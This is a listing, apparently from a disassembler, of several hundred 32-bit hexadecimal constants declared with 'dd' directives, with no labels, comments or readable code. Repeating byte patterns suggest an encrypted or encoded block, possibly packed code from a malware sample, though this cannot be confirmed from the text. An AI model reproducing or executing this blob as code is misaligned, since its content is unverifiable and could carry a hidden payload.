		dd 4922A85h, 0F9858537h, 0FFF772BEh, 85838B6Ah,	0FB5ADB2Ah
		dd 92F96A6Bh, 0CF852A72h, 85868BC6h, 8B76FFF1h,	0F12A8582h
		dd 5A2D8542h, 5ADBB9F3h, 796A6BF8h, 6BF8367Fh, 6FC5756Ah
		dd 6A6BFB62h, 0F27290F9h, 9A907FEEh, 0A1738582h, 0F91C4E0Fh
		dd 838B6AC7h, 500F7285h, 9A8FFFF7h, 852A8582h, 838B62CFh
		dd 0FF8F9285h, 0BEF98585h, 3DBDF372h, 9A96C7F3h, 0CF858582h
		dd 85838B62h, 154E6F85h, 43126A6Bh, 926A6BFDh, 85850EB6h
		dd 8B1ACF85h, 0F72A8580h, 868BBBC7h, 6F852D85h,	6A772352h
		dd 8BBBFFF7h, 0F72A8586h
		dd 8688BAFFh, 6F852A85h, 6A7A8A56h, 9A8FFFF7h, 0F72A8582h
		dd 8688BAFFh, 6F852A85h, 6A7A8A56h, 6BFD4E12h, 0EFC926Ah
		dd 0F72A8585h, 8688BAC7h, 6F852D85h, 6A7A8A56h,	8B6BFFF7h
		dd 0F72A8582h, 8688BAFFh, 6F852A85h, 6A7A8A56h,	0F14EBEF9h
		dd 828B76FFh, 4AF12A85h, 0F1722C85h, 828A8EFFh,	4AF12A85h
		dd 85722C85h, 808B1AFFh, 3EFFF185h, 4385838Bh, 808B1AFFh
		dd 25F87585h, 0F1858587h, 838B2AFFh, 4AF12A85h,	0F1722C85h
		dd 838B3AFFh, 4AF12A85h, 75722C85h, 8B1FFFCCh, 6FF18580h
		dd 6A6BFB56h, 0FBFA6F79h, 90F96A6Bh, 0EAA4372h,	0FD54123Dh
		dd 8F926A6Bh, 2A858509h, 88BAC7F7h, 852D8586h, 7A8A566Fh
		dd 1FFFF76Ah, 2A85808Bh, 88BAFFF7h, 852A8586h, 7A8A566Fh
		dd 0FD53126Ah, 0B3926A6Bh, 2A858509h, 88BAC7F7h, 852D8586h
		dd 7A8A566Fh, 5ABEF96Ah, 8BCAFF85h, 0FFF18586h,	85868BD2h
		dd 8BCAFF43h, 0F8758586h, 85858CECh, 8BDEFF85h,	0FFF18581h
		dd 85818B0Ah, 8BDEFF43h, 0F6758581h, 85858EE5h,	88BAFFF7h
		dd 852A8586h, 7723666Fh, 0CF85236Ah, 85868BC2h,	154E6F85h
		dd 0CF856A6Bh, 85868BC6h, 154E6F85h, 0FFF16A6Bh, 85818BEAh
		dd 854AF12Ah, 0FFF1722Ch, 85818BEEh, 854AF12Ah,	0FFF1722Ch
		dd 85818BE2h, 854AF12Ah, 0FFF1722Ch, 85818BE6h,	854AF12Ah
		dd 2425722Ch, 2FB9B321h, 0C2129FF3h, 856A7B5Fh,	7F53826Fh
		dd 5FC2DB6Ah, 0B8276A7Bh, 0F32F7A7Eh, 292A2B9Fh, 7A102D2Ch
		dd 7A7AFA12h, 1079107Ah, 1279107Ah, 0FA7A7A7Ah,	85720F85h
		dd 6B11626Fh, 0F9BDF36Ah, 640F8585h, 7A7607F9h,	3FF16E0Eh
		dd 5A6FF176h, 796A6BF8h, 6BFBE66Fh, 7C90F96Ah, 0BA4B6AF3h
		dd 0CEDB3591h, 0F96A6BFBh, 2D2A7E92h, 236A6F85h, 0BCF36A73h
		dd 2A6ABAF9h, 6F853A10h, 6A7F5396h, 4F85B9F3h, 6A6BFB86h
		dd 7A7607F9h, 3FF1720Eh, 823FF376h, 3FF77C91h, 823FF386h
		dd 2C820F85h, 6F852D29h, 6A7A8A4Eh, 326F852Dh, 0F36A7333h
		dd 212425A2h, 7BC2B9B3h, 0B8FA7A3Ah, 122D7A6Ah,	6A6BFD63h
		dd 85081D92h, 852A2385h, 7B5FE26Fh, 0F802D96Ah,	12DB6A6Bh
		dd 796A6BFBh, 6BFB067Fh, 7392F96Ah, 0F8027F43h,	6D0F6A6Bh
		dd 6BFD7312h, 840926Ah,	2A238585h, 48626F85h, 2D96A7Fh
		dd 126A6BF8h, 6A6BFC96h, 85085992h, 0DB922A85h,	0D97A7A7Eh
		dd 6A7F4B9Eh, 6BFCB512h, 874926Ah, 922A8585h, 7A7A7EF6h
		dd 7B5BD2D9h, 0FCBA126Ah, 83926A6Bh, 2A85850Bh,	7A7E0D92h
		dd 237ED97Ah, 0DD126A73h, 926A6BFCh, 85850B9Eh,	7E18922Ah
		dd 66D97A7Ah, 126A7332h, 6A6BFCF6h, 850BB592h, 37922A85h
		dd 0D97A7A7Eh, 6A7A8A2Ah, 6BFC0912h, 0BC0926Ah,	922A8585h
		dd 7A7A7E42h, 7A8A5AD9h, 0FC25126Ah, 0DF926A6Bh, 2A85850Bh
		dd 7A7E5992h, 2312D97Ah, 33126A6Bh, 926A6BFCh, 85850BEAh
		dd 7E74922Ah, 0A6D97A7Ah, 126A7F53h, 6A6BFC51h,	850B0192h
		dd 83922A85h, 0D97A7A79h, 6A7F5392h, 6BFC6012h,	0B1C926Ah
		dd 922A8585h, 7A7A799Eh, 7B5FE6D9h, 0FC70126Ah,	2B926A6Bh
		dd 2A85850Bh, 7A79B592h, 5FDAD97Ah, 90126A7Bh, 926A6BFFh
		dd 85850B46h, 79C0922Ah, 72D97A7Ah, 126A7B7Ah, 6A6BFFA9h
		dd 850B5D92h, 0DF922A85h, 0D97A7A79h, 6A732376h, 6BFFC512h
		dd 0B68926Ah, 922A8585h, 7A7A79EAh, 7B5AFAD9h, 0FFD1126Ah
		dd 87926A6Bh, 2A85850Ah, 7A790192h, 2BEF97Ah, 7A8A36D9h
		dd 2FB9256Ah, 852D9FF3h, 4F85720Fh, 6A6BF826h, 5BD66F85h
		dd 0BDF36A7Bh, 2FB92725h, 292B9FF3h, 3FCC752Dh,	7A70C372h
		dd 0B7C07A7Ah, 8DB6B6B6h, 7990BB98h, 0F3862FF3h, 1BBDF9ADh
		dd 27F281F3h, 7207FA72h, 0FA7E0F10h, 0F07B723Fh, 1F46723Fh
		dd 3466E0Eh, 0F466A0Eh,	1346760Eh, 1546720Eh, 1B467E0Eh
		dd 3FFA7E0Fh, 0CC757B72h, 2125723Fh, 0F32FB9B3h, 6A7AC29Fh
		dd 54927A7Ah, 2C7A7A61h, 857F102Dh, 6F85720Fh, 6A7A8A7Eh
		dd 76DBBDF3h, 0F96A6BF8h, 0BD437E92h, 0BA4B7E0Fh, 85122B91h
		dd 0F77A7A75h, 858A7BFFh, 852D2A85h, 7B75AA6Fh,	7FC5756Ah
		dd 6A6BFB62h, 2A7D92F9h, 0F7760F85h, 858A7BFFh,	2A922A85h
		dd 0F98585D9h, 4FF176BEh, 6A6BFA9Eh, 8580BCFBh,	8A437A7Ah
		dd 82F37E0Eh, 78107791h, 7E6F852Dh, 0F36A7A8Ah,	25E591BDh
		dd 2FB9B324h, 292B9FF3h, 27F12D2Ch, 0FB5ADB72h,	0BCF36A6Bh
		dd 0FAA24F79h, 94F96A6Bh, 47C57574h, 6A6BFBBEh,	917295F9h
		dd 6ECD7530h, 7637F101h, 376CD75h, 887BB07Bh, 0DB862FF3h
		dd 6A6BFBD6h, 7A85877Fh, 0CB8437Ah, 4FC57563h, 6A6BFBB6h
		dd 0DB7294F9h, 6A6BFBFAh, 7B7A7A7Fh, 863F537Ah,	4FF17391h
		dd 6A6BFB0Ah, 0F17E94F9h, 0F31C862Fh, 753D016Eh, 0FBDE7FC5h
		dd 0BAF96A6Bh, 8BD4360h, 258AF3D2h, 0B9B32124h,	0F99FF32Fh
		dd 2C295296h, 7A39C42Dh, 6F917A7Ah, 0FA9267F1h,	67796A6Bh
		dd 6A6BFBA6h, 0CF66F331h, 6A6B115Ah, 2084F93Ch,	39C59C0Ch
		dd 937A7A7Ah, 7A7A7BD9h, 6BFFD912h, 1540926Ah, 2A2D8585h
		dd 298827F7h, 23526F85h, 7ADB6A77h, 796A6BFBh, 6BFBC67Fh
		dd 7592F96Ah, 5E6F852Ah, 0F96A7723h, 67F16EBEh,	6A6BF856h
		dd 437D91F9h, 115AC766h, 3F0E6A6Bh, 627FC575h, 0F96A6BFBh
		dd 3FF37292h, 963FF796h, 0C74E852Ah, 6A6B115Ah,	23366F85h
		dd 7FB6A6Bh, 7A7B7996h,	85640E7Ah, 115AC74Eh, 6F856A6Bh
		dd 6A733332h, 5267C575h, 0F96A6BFBh, 66F37F91h,	6B115AC7h
		dd 883FF76Ah, 1E6F852Ah, 0F36A6B23h, 82F9863Fh,	0F9380E79h
		dd 470E7E82h, 0E7882F9h, 3667F142h, 796A6BF8h, 6BFA9A67h
		dd 7591F96Ah, 5AC76643h, 756A6B11h, 7A7A9FFEh, 67C5757Ah
		dd 6A6BFABEh, 0FBCA6779h, 91F96A6Bh, 0C766F377h, 6A7B5F9Ah
		dd 7A7AB393h, 857B107Ah, 7B75BA6Fh, 0A63FF76Ah,	9E3FF72Ah
		dd 9A3FF72Ah, 923FF72Ah, 883FF72Ah, 0F26F852Ah,	0F16A7B5Ah
		dd 6BFB9667h, 7991F96Ah, 540FA243h, 0FB4E67F1h,	91F96A6Bh
		dd 0C7664378h, 6A6B115Ah, 7AFEFE75h, 67F17A7Ah,	6A6BFB26h
		dd 0FB5A6779h, 91F96A6Bh, 0C766F376h, 6A7B5F9Ah, 67F11691h
		dd 6A6BFAC6h, 826FC575h, 7B6A6BFAh, 7F91F9A9h, 5AC76643h
		dd 0F6A6B11h, 0C746F32Bh, 6A7B5F9Ah, 2AA23FF7h,	6BFAC6DBh
		dd 6FC5756Ah, 6A6BFBEAh, 92F9AA7Bh, 66F72A72h, 7B5F9AC7h
		dd 6512296Ah, 0F16A7A34h, 6BFB7A67h, 9267796Ah,	0F96A6BFAh
		dd 0F1297091h, 6BFB7667h, 7891F96Ah, 5A6F8529h,	0F36A6B15h
		dd 115AC77Eh, 0F93D6A6Bh, 0FC752085h, 8585842Eh, 6BFBCADBh
		dd 7D92F96Ah, 5E6F852Ah, 236A7723h, 85844F93h, 21242585h
		dd 7A7EB8B3h, 2D9FF32Fh, 85720F85h, 6BF8024Fh, 0D66F856Ah
		dd 0F36A7B5Bh, 0B92725BDh, 299FF32Fh, 0FF12D2Ch, 6A07F176h
		dd 6BE0E212h, 6F852C6Ah, 6A772346h, 6A0EBA73h, 0F3723FF1h
		dd 0F14D857Dh, 7E298562h, 2F91BA4Bh, 6BE06212h,	6F852C6Ah
		dd 6A772346h, 6A0EBA73h, 0F3723FF1h, 0F14D857Dh, 7E298562h
		dd 4F91BA4Bh, 6BE3A212h, 6F852C6Ah, 6A772346h, 6A0EBA73h
		dd 0F3723FF1h, 0F14D857Dh, 7E298562h, 6F91BA4Bh, 6BF876DBh
		dd 0E27F796Ah, 0F96A6BFAh, 7DF37792h, 7A3A78C2h, 212425FAh
		dd 7A76B827h, 0FFEF122Dh, 0AB926A6Bh, 23858516h, 0E26F852Ah
		dd 0D96A7B5Fh, 6A6BF80Ah, 0D27FC575h, 436A6BFAh, 6BF80A7Fh
		dd 126D0F6Ah, 6A6BFFFDh
		dd 8516D192h, 852A2385h, 7F48626Fh, 0F80AD96Ah,	7ADB6A6Bh
		dd 796A6BFBh, 6BFBDA7Fh, 6B92F96Ah, 0F80A7F43h,	660E6A6Bh
		dd 1E7FC575h, 0F96A6BFBh, 852A7EBAh, 6BF80A4Fh,	0D66F856Ah
		dd 0D96A7B5Bh, 6A7A8A5Eh, 0F32FB925h, 5296F99Fh, 0F12D2C29h
		dd 0F13C760Fh, 6BF84647h, 65BDF96Ah, 0BAFF8AF3h, 857F7F07h
		dd 0BB7A7A7Ah, 67F17282h, 6A6BFABAh, 0F37DB9F9h, 0A9D575B8h
		dd 7F3AD7Bh, 4E47F182h,	0F96A6BFBh, 8AF369BDh, 7F07BAFFh
		dd 7A7A857Fh, 7282BB7Ah, 8E67C575h, 0F96A6BFAh,	0B8F375B9h
		dd 7BA9D575h, 8E07F3ADh, 0FB8E47F1h, 0BDF96A6Bh, 0FF8AF362h
		dd 7F7F07BAh, 7A7A8585h, 756A82BBh, 0FB3E67C5h,	77F16A6Bh
		dd 6A6BFBFAh, 697126F7h, 0D575B8F3h, 0F3AD7BA9h, 8AF38A07h
		dd 7A7A855Fh, 8E922A7Ah, 0F3858580h, 9527F2B9h,	1F8D8AF3h
		dd 9E3FF38Ah, 7A7A855Fh, 0A6922A7Ah, 0F3858580h, 9427F2B9h
		dd 1F8D8AF3h, 9A3FF382h, 7A7A855Fh, 0BE922A7Ah,	0F3858580h
		dd 8527F2B9h, 6BFAB2DBh, 0ABAF96Ah, 0D57588F3h,	5FAAF3AAh
		dd 7A7A7A85h, 8C5922Ah,	0B9F38585h, 759727F2h, 0F86A7FC5h
		dd 6FF16A6Bh, 6A6BFB5Eh, 7F6A3EF7h, 0D57588F3h,	5FAAF3AAh
		dd 7A7A7A85h, 8ED922Ah,	0B9F38585h, 0DB9627F2h,	6A6BFB12h
		dd 0F357BAF9h, 0AAD57588h, 855FAAF3h, 2A7A7A7Ah, 85080292h
		dd 0F2B9F385h, 8AF39127h, 0F38E1F8Dh, 855FA63Fh, 2A7A7A7Ah
		dd 85803C92h, 0F2B9F385h, 0B2DB9027h, 0F96A6BFAh, 88F338BAh
		dd 0F3AAD575h, 7A855FAAh, 922A7A7Ah, 8585805Dh,	27F2B9F3h
		dd 0F87EDB93h, 0BAF96A6Bh, 6FC5753Fh, 6A6BFAEEh, 88F3AA7Bh
		dd 0F3AAD575h, 7A855FAAh, 922A7A7Ah, 85850863h,	0F35EBEF9h
		dd 9227F2B9h, 8507CC75h, 92AB82F3h, 0AA4FC575h,	796A6BFAh
		dd 6BFB0E4Fh, 7194F96Ah, 3FF39C8Dh, 43BCF3A2h, 123C0F84h
		dd 6A6BFF17h, 8510E592h, 7CC7585h, 0CC752D93h, 752D9207h
		dd 2D9407CCh, 9107CC75h, 7CC752Dh, 0CC752D95h, 752D9707h
		dd 2D9007CCh, 9607CC75h, 7CC752Dh, 852A2D85h, 6F85720Fh
		dd 6A772352h, 914ABEF9h, 0FF28123Eh, 23926A6Bh,	75858510h
		dd 2D9307CCh, 9207CC75h, 7CC752Dh, 0CC752D94h, 752D9107h
		dd 2D9507CCh, 9707CC75h, 7CC752Dh, 0CC752D90h, 752D9607h
		dd 2D8507CCh, 720F852Ah, 23526F85h, 0BEF96A77h,	2124254Ah
		dd 0F32FB9B3h, 292A2B9Fh, 0F852D2Ch, 626F8572h,	0F36A7F48h
		dd 0FA96DBB9h, 43326A6Bh, 37FE75B9h, 127A7A7Bh,	6A6BFF37h
		dd 85139592h, 85292A85h, 7B5BD66Fh, 8A72D96Ah, 32126A7Ah
		dd 926A6BFFh, 858513A2h, 2A72BEF9h, 0D66F8529h,	0D96A7B5Bh
		dd 6A7B7A7Eh, 6BFAEADBh, 7E92F96Ah, 7A7E7F43h, 0FE756A7Bh
		dd 7A7A7B72h, 6BFADEDBh, 7D92F96Ah, 8A727F43h, 0FE756A7Ah
		dd 7A7A7A8Eh, 2A823FF7h, 2A863FF7h, 7A7E6F85h, 0BDF36A7Bh
		dd 6BF87ADBh, 827F796Ah, 0F96A6BFBh, 82437892h,	85297609h
		dd 6B11666Fh, 7ABC936Ah, 4FF17A7Ah, 6A6BFB6Eh, 0DB84BCF9h
		dd 6A6BFBDAh, 4779BDF3h, 6A6BFBFEh, 917695F9h, 822FF157h
		dd 5AC76E43h, 0F6A7F48h, 0F184F35Ah, 6E43862Fh,	73235AC7h
		dd 2968086Ah, 11666F85h, 0F856A6Bh, 766F8572h, 916A7A8Ah
		dd 47413D05h, 6A6BF8DEh, 6EDBB108h, 0F96A6BF8h,	0C57586BAh
		dd 6BFAD26Fh, 43AA7B6Ah, 85570EBCh, 232ACF4Eh, 6F856A77h
		dd 6A6B1166h, 0F38607F1h, 235ACF46h, 47F16A73h,	6A7A8A72h
		dd 9ACF46F3h, 0F36A7B53h, 232ACF66h, 4E916A77h,	0F8DE47F1h
		dd 2FF16A6Bh, 0C76EF382h, 6A7F485Ah, 2AC766F3h,	0F16A7723h
		dd 7A8A7267h, 0C766F36Ah, 6A7B539Ah, 0F38627F1h, 235AC766h
		dd 7F856A73h, 6A6BF8DEh, 0B3212425h, 9FF32FB9h,	7C64DEC2h
		dd 692D927Ah, 2C297A7Ah, 7627F12Dh, 6BFBFADBh, 6FC5756Ah
		dd 6A6BFB62h, 92F9AA7Bh, 6EDB2A72h, 326A6BFBh, 0DB79102Ah
		dd 6A6BFAB2h, 9ADB2A32h, 0F96A6BFAh, 122A7C92h,	0FA7A7A7Ah
		dd 85720F85h, 6B11626Fh, 0C2FFF36Ah, 0F985868Bh, 868AD2DFh
		dd 0DFF97A85h, 85868BCAh, 8582F97Ah, 7F4EFE75h,	0AEDB7A7Ah
		dd 796A6BFAh, 6BFB967Fh, 7292F96Ah, 0CEFFF72Ah,	2A85868Bh
		dd 6BFB0EDBh, 6BAF96Ah,	0FA967F79h, 0F72A6A6Bh,	868BBBFFh
		dd 0CF852A85h, 85868BC2h, 8A4E6F85h, 0FFF36A7Ah, 85868BC6h
		dd 6BFACADBh, 6FC5756Ah, 6A6BFB7Eh, 92F9AA7Bh, 0C6FF437Fh
		dd 7585868Bh, 7A7EC1FEh, 0BEC7FA7Ah, 4285868Bh,	0C7FA680Fh
		dd 85868BBFh, 0FA730F43h, 868BBCC7h, 7F0E1B85h,	7A7EE193h
		dd 0BBC7FA7Ah, 3D85868Bh, 0C7FA680Fh, 85868BB8h, 0FA730F33h
		dd 868BB9C7h, 7F0E3C85h, 7A7E0193h, 0FFCC757Ah,	85868B91h
		dd 0FB9E6FF1h, 0B8F96A6Bh, 0FAA434Dh, 38C7FA68h, 47858688h
		dd 0C7FA730Fh, 85868839h, 937F0E47h, 7A7A7E2Ah,	3C0FA173h
		dd 850DD292h, 0F2B8F385h, 839918EFh, 3EFFF085h,	0F2858688h
		dd 839919FFh, 0FAC6DB85h, 0C6FA6A6Bh, 86883E7Fh, 760F3A85h
		dd 8BCAFFBDh, 7A7B8586h, 68917A7Ah, 9918FFF0h, 0FF408583h
		dd 85839919h, 7E7CFE75h, 0A2DB7A7Ah, 0F96A6BFAh, 0F72A7C92h
		dd 868BCEFFh, 3A122A85h, 0F77A7977h, 839912FFh,	0CF852A85h
		dd 85868BC2h, 8A4E6F85h, 0FFF36A7Ah, 85868BC6h,	6BFACADBh
		dd 7F92F96Ah, 8BC6FF43h, 0FE758586h, 7A7A79BEh,	8BCEFFF1h
		dd 6FF18586h, 6A6BFB7Ah, 0F27390F9h, 99127FEEh,	3A128583h
		dd 0F77A7977h, 8688BAFFh, 0FFF72A85h, 85839912h, 7C15922Ah
		dd 0BEF97A7Ah, 75BCF376h, 0FAB647C5h, 91356A6Bh, 0EA1733Fh
		dd 0FECC7569h, 8688BA47h, 0F2825385h, 88BA47FEh, 57918586h
		dd 47FECC75h, 858688BAh, 9826FFF3h, 82F38583h, 0FFF39D8Dh
		dd 85839822h, 9826FFF1h, 0EFF18583h, 85839822h,	0FEF2AA53h
		dd 8688BA47h, 8D433D85h, 0A173CD08h, 0C575590Eh, 6BFAAA7Fh
		dd 7F92F96Ah, 0B85388F3h, 6BFB5EDBh, 0F27F796Ah, 0F96A6BFBh
		dd 0FEF27D92h, 8688BA6Fh, 0FB6ADB85h, 6FF16A6Bh, 6A6BFB12h
		dd 0FB026F79h, 90F96A6Bh, 7FEEF271h, 85868841h,	7A7A8512h
		dd 19FFF77Ah, 2A858398h, 8B96FFF7h, 922A8586h, 7A7A7FC7h
		dd 9819FFF7h, 2C2A8583h, 88BAFFF7h, 922A8586h, 858514D4h
		dd 0F362BEF9h, 868BC6FFh, 0FBB2DB85h, 0C5756A6Bh, 6BFBE26Fh
		dd 0F9AA7B6Ah, 0FF437392h, 85868BC6h, 78D0FF75h, 0FFBD7A7Ah
		dd 85868AD2h, 7A7A7A7Bh, 0FE75A173h, 7A7A7B3Ah,	6BFBAADBh
		dd 827F796Ah, 0FA6A6BFBh, 88CC7FC6h, 751E8586h,	7A7AEFFFh
		dd 0FFCC757Ah, 858688BBh, 1E6FC575h, 0F96A6BFBh, 0AA5365B8h
		dd 9818FFF2h, 0CC758583h, 839818FFh, 0CADB2A85h, 796A6BFAh
		dd 6BF87E7Fh, 7D92F96Ah, 0F171922Ah, 4EDB8585h,	756A6BF8h
		dd 0FBDE6FC5h, 0AA7B6A6Bh, 0D97492F9h, 6A7B5FAAh, 6BFB86DBh
		dd 0F8DAD96Ah, 0AADB6A6Bh, 796A6BFBh, 6BFB6A7Fh, 6FC5756Ah
		dd 6A6BF86Ah, 0FB066F79h, 90F96A6Bh, 7FEEF276h,	858688C8h
		dd 6BFBD6DBh, 2A7F796Ah, 0F96A6BFBh, 0F72A7F92h, 8688BAFFh
		dd 0FC922A85h, 0F97A7A7Dh, 0C6DB6ABEh, 0FA6A6BFAh, 88BA7FC6h
		dd 751D8586h, 7A7BADFFh, 0FADEDB7Ah, 6FF16A6Bh,	6A6BFB96h
		dd 0D277C575h, 7B6A6BFAh, 7990F9B0h, 0B97FEEF2h, 0F7858688h
		dd 8688BBFFh, 6F852A85h, 6A7B7A66h, 9826FFF3h, 122A8583h
		dd 6A6B230Ah, 85822392h, 0FBAEDB85h, 7F796A6Bh,	6A6BFB96h
		dd 0D97192F9h, 6A7B5FAAh
		dd 6BFADADBh, 0B27F796Ah, 0F96A6BFBh, 0DAD97192h, 0DB6A6BF8h
		dd 6A6BFB5Ah, 2A7D92F9h, 88BAFFF7h, 922A8586h, 7A7A7C83h
		dd 936EBEF9h, 7A7A7B22h, 8BCAC7F9h, 0E7A8586h, 0A6F850Dh
		dd 0F36A6B20h, 839826FFh, 0FF431285h, 1B926A6Bh, 8585851Eh
		dd 839826CFh, 0DE6FF185h, 306A6BFAh, 0EFF72A28h, 85839B27h
		dd 526F8528h, 0F76A7723h, 868AD6FFh, 0C5752A85h, 6BFAEE7Fh
		dd 7892F96Ah, 0F86EDB2Ah, 92F96A6Bh, 66102A79h,	0EE7FC575h
		dd 326A6BFBh, 7A6F852Ah, 0F76A7F50h, 839B27FFh,	0FFF72A85h
		dd 85868AD6h, 566F852Ah, 0F96A7A8Ah, 549166BEh,	6BFB5ADBh
		dd 0F72A326Ah, 868AD6FFh, 95922A85h, 128585FCh,	6A6BFF4Bh
		dd 85199992h, 0EFF72A85h, 85868AD6h, 566F8528h,	0F96A7A8Ah
		dd 5ADB6EBEh, 0F96A6BFBh, 122A7292h, 7A7A7AFAh,	0C5757810h
		dd 6BFAE67Fh, 0D67F796Ah, 0F96A6BFBh, 752A7292h, 0FBB67FC5h
		dd 92F96A6Bh, 7A122A73h, 0F73A7A7Ah, 868AD6FFh,	6F852A85h
		dd 6A6B1162h, 991EFFF3h, 56DB8583h, 756A6BF8h, 0F83A6FC5h
		dd 0AA7B6A6Bh, 2A7592F9h, 8BCEFFF7h, 2C2A8586h,	88BAFFF7h
		dd 852A8586h, 83991ECFh, 666F8585h, 856A6B15h, 83991ECFh
		dd 326F8585h, 0F96A7333h, 868BCAC7h, 650F7A85h,	0FFF77F10h
		dd 85868AD6h, 0EE6F852Ah, 756A7B5Ah, 9919FFCCh,	922A8583h
		dd 85850FB9h, 927F9123h, 85850748h, 8BC2CF85h, 6F858586h
		dd 6A733332h, 8AD2C7F9h, 0E7A8586h, 720F8573h, 8A766F85h
		dd 24256A7Ah, 2FB9B321h, 0C5759FF3h, 6BF8727Fh,	6FC5756Ah
		dd 6A6BFBB6h, 92F9AA7Bh, 6F852A70h, 6A77235Eh, 0FB36DB23h
		dd 7F796A6Bh, 6A6BFB7Ah, 2A7192F9h, 7A30F912h, 0FADEDB6Ah
		dd 92F96A6Bh, 6F852A7Dh, 6A7B7A6Ah, 0B827BA91h,	0F32F7A7Eh
		dd 7A4AC29Fh, 14927A7Bh, 297A7A77h, 0C5752D2Ch,	6BFBBE7Fh
		dd 7292F96Ah, 75BE7F43h, 0FE756A7Bh, 7A7A783Eh,	6BFB3ADBh
		dd 7A7F796Ah, 0F96A6BFBh, 852A7092h, 6BFBFA4Fh,	0FB0EDB6Ah
		dd 92F96A6Bh, 3FF72A7Dh, 6F852A86h, 6A7B75BEh, 76DBB9F3h
		dd 756A6BF8h, 0FAEE6FC5h, 0AA7B6A6Bh, 437C92F9h, 7BFF75B9h
		dd 0F77A7A78h, 752A923Fh, 0FBE27FC5h, 7F796A6Bh, 6A6BFB96h
		dd 2A7E92F9h, 6BFB7ADBh, 7392F96Ah, 863FF12Ah, 8542F12Ah
		dd 0B9F3422Dh, 3E7FC575h, 756A6BFBh, 0FACE6FC5h, 0AA7B6A6Bh
		dd 437392F9h, 0D3FF75B9h, 757A7A7Bh, 0FABE7FC5h, 92F96A6Bh
		dd 3FF72A7Ch, 0C5752A96h, 6BFA827Fh, 7E92F96Ah,	923FF12Ah
		dd 8542F12Ah, 0B9F3762Dh, 6BFABADBh, 6FC5756Ah,	6A6BFB8Ah
		dd 92F9AA7Bh, 75B94372h, 7A7B49FFh, 9E3FF77Ah, 7FC5752Ah
		dd 6A6BFBDEh, 2A7C92F9h, 2A963FF7h, 6BFBB2DBh, 7E7F796Ah
		dd 0F96A6BF8h, 0F12A7092h, 0F12A863Fh, 462D8542h, 82DBB9F3h
		dd 796A6BFBh, 6BFAA67Fh, 7D92F96Ah, 0F90FB943h,	6BFB6ADBh
		dd 7392F96Ah, 0AE3FF72Ah, 0FB5ADB2Ah, 0C5756A6Bh, 6BFAD26Fh
		dd 0F9AA7B6Ah, 0F12A7D92h, 0F12A9E3Fh, 762D8542h, 52DBB9F3h
		dd 0F96A6BF8h, 0B9437292h, 8533FF75h, 0A6DB8585h, 756A6BFBh
		dd 0FBE26FC5h, 0AA7B6A6Bh, 0FFF72A32h, 858485AAh, 0AE3FF72Ah
		dd 963FF72Ah, 0FB8EDB2Ah, 92F96A6Bh, 3FF12A73h,	42F12A86h
		dd 0F3522D85h, 7FC575B9h, 6A6BF872h, 0F84E7F79h, 6FF16A6Bh
		dd 6A6BFA92h, 5277C575h, 7B6A6BFBh, 7C90F9B0h, 0B67FEEF2h
		dd 75858485h, 0FBDE7FC5h, 7F796A6Bh, 6A6BFB2Ah,	437092F9h
		dd 0F7620FB9h, 8485AFFFh, 0FFF12A85h, 858485AAh, 927E0A85h
		dd 85850BA5h, 0F772BEF9h, 8485AFFFh, 0FF72A85h,	6A96F9AEh
		dd 7EC39DF3h, 897A7A7Ah, 960FF7DFh, 0F36A96F9h,	7A7EC39Dh
		dd 0DF897A7Ah, 92860F85h, 8585E36Fh, 9352BEF9h,	85858576h
		dd 6BFB6EDBh, 0D67F796Ah, 0F96A6BFAh, 3F437292h, 0F1730E9Eh
		dd 0F12A9E3Fh, 722C854Ah, 6BFAE2DBh, 0A27F796Ah, 0F96A6BFBh
		dd 3F437792h, 0F1730E92h, 0F12A923Fh, 722C854Ah, 6BFA96DBh
		dd 3F43326Ah, 0F1730E86h, 0F12A863Fh, 722C854Ah, 0B3212425h
		dd 9FF32FB9h, 7E6696FBh, 2C297A7Ah, 4FC5752Dh, 6A6BFAD2h
		dd 0C5756791h, 6BFB1E6Fh, 77C5756Ah, 6A6BFBEAh,	90F9B07Bh
		dd 0F3A08D72h, 867ACFEEh, 0DB3C8585h, 6A6BFB5Eh, 7A7A847Fh
		dd 8BC437Ah, 0FBE6DBAFh, 0C5756A6Bh, 6BF83E6Fh,	0F9AA7B6Ah
		dd 0FFF37192h, 85858186h, 0FB5647F1h, 0BDF96A6Bh, 7FC5755Dh
		dd 6A6BFAB6h, 6191BD7Bh, 0F84E6FF1h, 6F796A6Bh,	6A6BFB8Eh
		dd 0F37790F9h, 0F3AB7B83h, 867AC7F6h, 0DB3D8585h, 6A6BF842h
		dd 4340BAF9h, 0F1A308BDh, 0C5757627h, 6BF83E4Fh, 7D94F96Ah
		dd 0BE47C575h, 0F96A6BFAh, 4D917C95h, 7E6FC575h, 0F96A6BFBh
		dd 83F33BB8h, 0C6F3AB7Bh, 85867AF7h, 7A6FF185h,	0F96A6BFBh
		dd 83F322B8h, 6FF1AB7Bh, 6A6BFBC6h, 0F36EB8F9h,	0F3AA7B82h
		dd 867AF7FEh, 753D8585h, 0FB3E7FC5h, 0C5756A6Bh, 6BFAE66Fh
		dd 6A3EF76Ah, 8BD436Ah,	0BA6FF1C9h, 0F16A6BFAh,	6BFAC677h
		dd 45BBF96Ah, 0CEEFF6F3h, 75858586h, 0FBE26FC5h, 77F16A6Bh
		dd 6A6BFB96h, 794EBBF9h, 6BFBAA77h, 0EFF6F36Ah,	858586D2h
		dd 527FC575h, 796A6BFBh, 6BF8527Fh, 7792F96Ah, 818EFFF3h
		dd 3FF18585h, 763F796Ah, 8182FFF3h, 7F18585h, 7B3B9372h
		dd 0C4757A7Ah, 7898BB6Dh, 7A6FCEF1h, 0DB858586h, 6A6BFBCEh
		dd 8D7992F9h, 75BC43A2h, 7A7B5BFEh, 86FFF17Ah, 73858581h
		dd 77F675BAh, 0F97A7A7Bh, 0F5757982h, 7A7A7B7Eh, 1AFF5E85h
		dd 856A6BFEh, 858186FFh, 7A889385h, 0EFF17A7Ah,	8585818Eh
		dd 3A77C575h, 0F96A6BF8h, 0AAF37C93h, 0FFF39AA9h, 85858192h
		dd 98F988F3h, 6E77F14Ah, 796A6BFBh, 6BF87A77h, 7893F96Ah
		dd 82A9AAF3h, 8192EFF1h, 0B8738585h, 8189EFF2h,	0A2F38585h
		dd 89EFF039h, 0F2858581h, 86FF856Ah, 93858581h,	7A7A7AE6h
		dd 818EEFF1h, 98F98585h, 77C57575h, 6A6BFBE2h, 6BF842DBh
		dd 7B36F76Ah, 0A9AAF379h, 9EFFF39Ah, 0F3858581h, 4698F988h
		dd 0FA9A77F1h, 77796A6Bh, 6A6BFB86h, 0F37E93F9h, 0F182A9AAh
